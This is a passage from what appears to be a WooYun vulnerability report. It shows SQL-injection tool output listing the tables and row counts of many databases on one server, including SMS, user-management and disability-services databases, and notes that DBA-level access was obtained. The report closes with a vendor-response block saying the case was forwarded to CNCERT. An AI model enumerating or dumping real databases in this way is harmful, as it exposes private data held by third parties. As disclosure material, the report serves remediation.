| dbo.flashandpic | 19 |
| dbo.sysconstraints | 18 |
| dbo.sub_pages | 17 |
| dbo.eWebEditor_Style | 13 |
| dbo.dw_type | 8 |
| dbo.qz_info | 7 |
| dbo.syssegments | 3 |
| dbo.dw | 2 |
| dbo.eWebEditor_System | 1 |
| dbo.jsq | 1 |
| dbo.manage_user | 1 |
| dbo.wstp | 1 |
+--------------------------------------------+---------+
Database: wisdom
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.[VIEW#SEARCHCONTROLS] | 3331 |
| dbo.TB_JBJ_HJXM | 3114 |
| dbo.[VIEW#PRIVILEDGE] | 208 |
| dbo.TB_PRIVILEDGE | 208 |
| dbo.WEB_LINK | 121 |
| dbo.sysconstraints | 49 |
| dbo.SA_MENU | 36 |
| dbo.NEWS_MENU | 11 |
| dbo.[VIEW#LEADER_RESUME] | 9 |
| dbo.[VIEW#NEWS_INFO_LIST] | 9 |
| dbo.LEADER_RESUME | 9 |
| dbo.NEWS_INFO | 9 |
| dbo.VIEW_NEWS_INFO_AND_NEWS_INFO_CHECK | 9 |
| dbo.dtproperties | 7 |
| dbo.MESSAGE_INFO | 6 |
| dbo.[VIEW#APPLICATION_FORM] | 5 |
| dbo.[VIEW#TB_RESEARCH_LIST] | 5 |
| dbo.APPLICATION_FROM | 5 |
| dbo.NEWS_INFO_REBACK_CHECK | 5 |
| dbo.TB_RESEARCH | 5 |
| dbo.NEWS_INFO_REBACK | 4 |
| dbo.NEWS_INFO_TYPE | 4 |
| dbo.VIEW_NEWS_INFO_REBACK_LIST | 4 |
| dbo.SA_USER_TYPE | 3 |
| dbo.SYS_TBDICT | 3 |
| dbo.syssegments | 3 |
| dbo.SYSTEM_MENU | 3 |
| dbo.[VIEW#TB_REVOTE] | 2 |
| dbo.TB_REVOTE | 2 |
| dbo.[VIEW#SA_GROUP_LIST] | 1 |
| dbo.[VIEW#SA_USER_LIST] | 1 |
| dbo.[VIEW#TB_MESSAGE_FRONTLIST] | 1 |
| dbo.[VIEW#TB_MESSAGE_LIST] | 1 |
| dbo.COUNTER | 1 |
| dbo.SA_GROUP | 1 |
| dbo.SA_USER | 1 |
| dbo.TB_MESSAGE | 1 |
+--------------------------------------------+---------+
Database: qnkj
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.info_publish | 688 |
| dbo.sysconstraints | 5 |
| dbo.syssegments | 3 |
| dbo.manage_user | 1 |
+--------------------------------------------+---------+
Database: gzsfc2013
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.eWebEditor_Button | 111 |
| dbo.eWebEditor_ToolBar | 42 |
| dbo.ClassTree | 15 |
| dbo.eWebEditor_Style | 13 |
| dbo.dw_type | 8 |
| dbo.dw | 1 |
| dbo.eWebEditor_System | 1 |
+--------------------------------------------+---------+
Database: temp
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: tgc
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.info_publish | 5163 |
| dbo.eWebEditor_Button | 111 |
| dbo.xsdw_yqlink | 54 |
| dbo.eWebEditor_ToolBar | 42 |
| dbo.tbdictionary | 41 |
| dbo.ClassTree | 29 |
| dbo.sysconstraints | 25 |
| dbo.sub_pages | 17 |
| dbo.eWebEditor_Style | 13 |
| dbo.dw_type | 8 |
| dbo.qz_info | 7 |
| dbo.tbxm | 4 |
| dbo.syssegments | 3 |
| dbo.tbqy | 3 |
| dbo.dw | 2 |
| dbo.tbglbm | 2 |
| dbo.eWebEditor_System | 1 |
| dbo.jsq | 1 |
| dbo.manage_user | 1 |
| dbo.tbjstgyy | 1 |
| dbo.tbrjcp | 1 |
| dbo.tbzjjrc | 1 |
| dbo.test | 1 |
| dbo.wstp | 1 |
+--------------------------------------------+---------+
Database: zzyxxpt
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.SYSTEM_LOG | 219 |
| dbo.TITLE_TYPE | 111 |
| dbo.LOCUS | 100 |
| dbo.XMJJ | 31 |
| dbo.NEWS_INFO | 23 |
| dbo.sysconstraints | 21 |
| dbo.WEBSITE_MENU | 9 |
| dbo.XMJZ | 4 |
| dbo.syssegments | 3 |
| dbo.BENEFIT_INDEX | 2 |
| dbo.ENTERPRISE_INFO | 2 |
| dbo.INFRASTRUCTURE | 2 |
| dbo.MANPOWER_RESOURCE | 2 |
| dbo.SAFETY | 2 |
| dbo.STRAGEGIC_POSITION | 2 |
| dbo.USE_CASE | 2 |
| dbo.VIEW1 | 2 |
| dbo.VIEW_INDEX_SCORE | 2 |
| dbo.getYear | 1 |
+--------------------------------------------+---------+
Database: gzkpdata
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.V_searchresult | 9275 |
| dbo.news_content | 5723 |
| dbo.info_content | 3350 |
| dbo.V_ZlInfoList | 3329 |
| gzkp.V_ZlInfoList | 3329 |
| dbo.info_link_content | 377 |
| dbo.up_jd_itemlist | 377 |
| dbo.common_news | 274 |
| dbo.video_manage | 155 |
| dbo.info_border | 139 |
| dbo.V_video_manage | 129 |
| dbo.letter_content | 100 |
| dbo.V_letter_content | 100 |
| dbo.sys_rolefunction | 63 |
| dbo.sysconstraints | 58 |
| dbo.sysfunction | 55 |
| dbo.info_basecontent | 43 |
| dbo.kjz_news | 41 |
| dbo.Catalog | 25 |
| dbo.associator | 17 |
| dbo.common_new_type | 16 |
| dbo.V_video_opus | 15 |
| dbo.D99_Tmp | 13 |
| dbo.subject_content | 9 |
| dbo.info_link_border | 8 |
| dbo.Subject | 8 |
| dbo.info_link_page | 6 |
| dbo.sys_datadictionary | 6 |
| dbo.up_jd_page | 6 |
| dbo.info_basetype | 5 |
| dbo.Reply | 5 |
| dbo.SYS_CODE | 5 |
| dbo.V_GetReplyListByEmitID | 5 |
| dbo.Emit | 4 |
| dbo.V_GetEmitBySubjectID | 4 |
| dbo.V_MyJionEmit | 4 |
| dbo.Emitimg | 3 |
| dbo.info_link | 3 |
| dbo.kjz_type | 3 |
| dbo.news_type | 3 |
| dbo.sysrole | 3 |
| dbo.syssegments | 3 |
| dbo.sysuser | 3 |
| dbo.video_customize | 3 |
| dbo.Vote | 3 |
| dbo.subject_border | 2 |
| dbo.subject_type | 2 |
| dbo.V_video_customize | 2 |
| dbo.video_type | 2 |
| dbo.Block | 1 |
| dbo.SubjectOwner | 1 |
+--------------------------------------------+---------+
Database: sms_platform
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.SendedOutBox | 298 |
| dbo.customer_management | 144 |
| dbo.InBox | 63 |
| dbo.customer_remaining_num | 51 |
| dbo.ComSet | 16 |
| dbo.ONCall | 10 |
| dbo.dtproperties | 7 |
| dbo.group_management | 5 |
| dbo.user_management | 2 |
| dbo.channel_recharge_records | 1 |
| dbo.channel_remainning | 1 |
+--------------------------------------------+---------+
Database: handicapped
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.SYS_TBDICT | 244 |
| dbo.SYSTEM_LOG | 230 |
| dbo.LOCUS | 100 |
| dbo.rptDEPARTMENT_CHANGE | 17 |
| dbo.rptDEPARTMENT_INFO | 15 |
| dbo.SA_USER | 15 |
| dbo.rptCENTER_INFO | 13 |
| dbo.rptEMPLOYEE | 12 |
| dbo.rptASSOCIATION_INFO | 11 |
| dbo.rptENGAGE_INFO | 11 |
| dbo.rptPOSITION_INFO | 10 |
| dbo.rptWORKER_INFO | 10 |
| dbo.rptTRAIN_WORK | 8 |
| dbo.FILE_ACCEPTER_LIST | 7 |
| dbo.rptORGANIZATION_USER | 7 |
| dbo.rptROUTINE_INFO | 7 |
| dbo.rptWORKER | 7 |
| dbo.rptAUDIT_INDEX | 6 |
| dbo.EMPLOYEE | 5 |
| dbo.EMPLOYEE_REGIST | 5 |
| dbo.OPTION_ITEM | 5 |
| dbo.rptDATA_UP | 5 |
| dbo.rptFILE_TRANSPORT | 5 |
| dbo.rptSKILL_CHANGE | 5 |
| dbo.FILE_UPLOAD | 4 |
| dbo.ORGANIZATION_USER | 4 |
| dbo.TRAIN_RECOMMEND | 4 |
| dbo.ASSOCIATION_INFO | 3 |
| dbo.CENTER_INFO | 3 |
| dbo.DEPARTMENT_INFO | 3 |
| dbo.FILE_TRANSPORT | 3 |
| dbo.rptDEPARTMENT_CHANGE_BACK | 3 |
| dbo.rptDEPARTMENT_INFO_BACK | 3 |
| dbo.rptEMPLOYEE_BACK | 3 |
| dbo.WORK_REGISTER | 3 |
| dbo.AUDIT_INDEX_CONTENT | 2 |
| dbo.DEPARTMENT_HEALTH | 2 |
| dbo.MATERIAL_LIST | 2 |
| dbo.SEASON_STAR | 2 |
| dbo.TRACK_LOG | 2 |
| dbo.ADJUNCT_LIST | 1 |
| dbo.APPROVAL_RESULT | 1 |
| dbo.AUDIT_INDEX | 1 |
| dbo.AUDIT_INDEX_SET | 1 |
| dbo.EMPLOYEE_ENGAGED | 1 |
| dbo.ENGAGE_INFO | 1 |
| dbo.MATERIAL_ORDER | 1 |
| dbo.NEWS_INFO | 1 |
| dbo.ORGANIZATION_UPLOAD | 1 |
| dbo.POSITION_INFO | 1 |
| dbo.SKILL_CHANGE | 1 |
| dbo.TRAIN_WORK | 1 |
| dbo.WORK_RECORD | 1 |
| dbo.WORKER_INFO | 1 |
+--------------------------------------------+---------+
Database: kjtpy
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.Check_CJ_200 | 396605 |
| dbo.SYSTEM_LOG | 4361 |
| dbo.NEWS_INFO | 1764 |
| dbo.WEB_RESEARCH_LOG | 133 |
| dbo.[VIEW#WEB_RESEARCH_LIST] | 4 |
| dbo.WEB_RESEARCH | 4 |
| dbo.sysconstraints | 3 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: DB_gzsclzx
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.NEWS_INFO | 71 |
+--------------------------------------------+---------+
Database: TEST
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.WEBSERVICE_MENU | 79 |
| dbo.sysconstraints | 4 |
| dbo.syssegments | 3 |
+--------------------------------------------+---------+
Database: model
+--------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------+---------+
| dbo.syssegments | 3 |
+--------------------------------------------+---------+


还是dba权限

1.png


修复方案:

版权声明:转载请注明来源 Yang@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-05-30 22:43

厂商回复:

已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置

最新状态:

暂无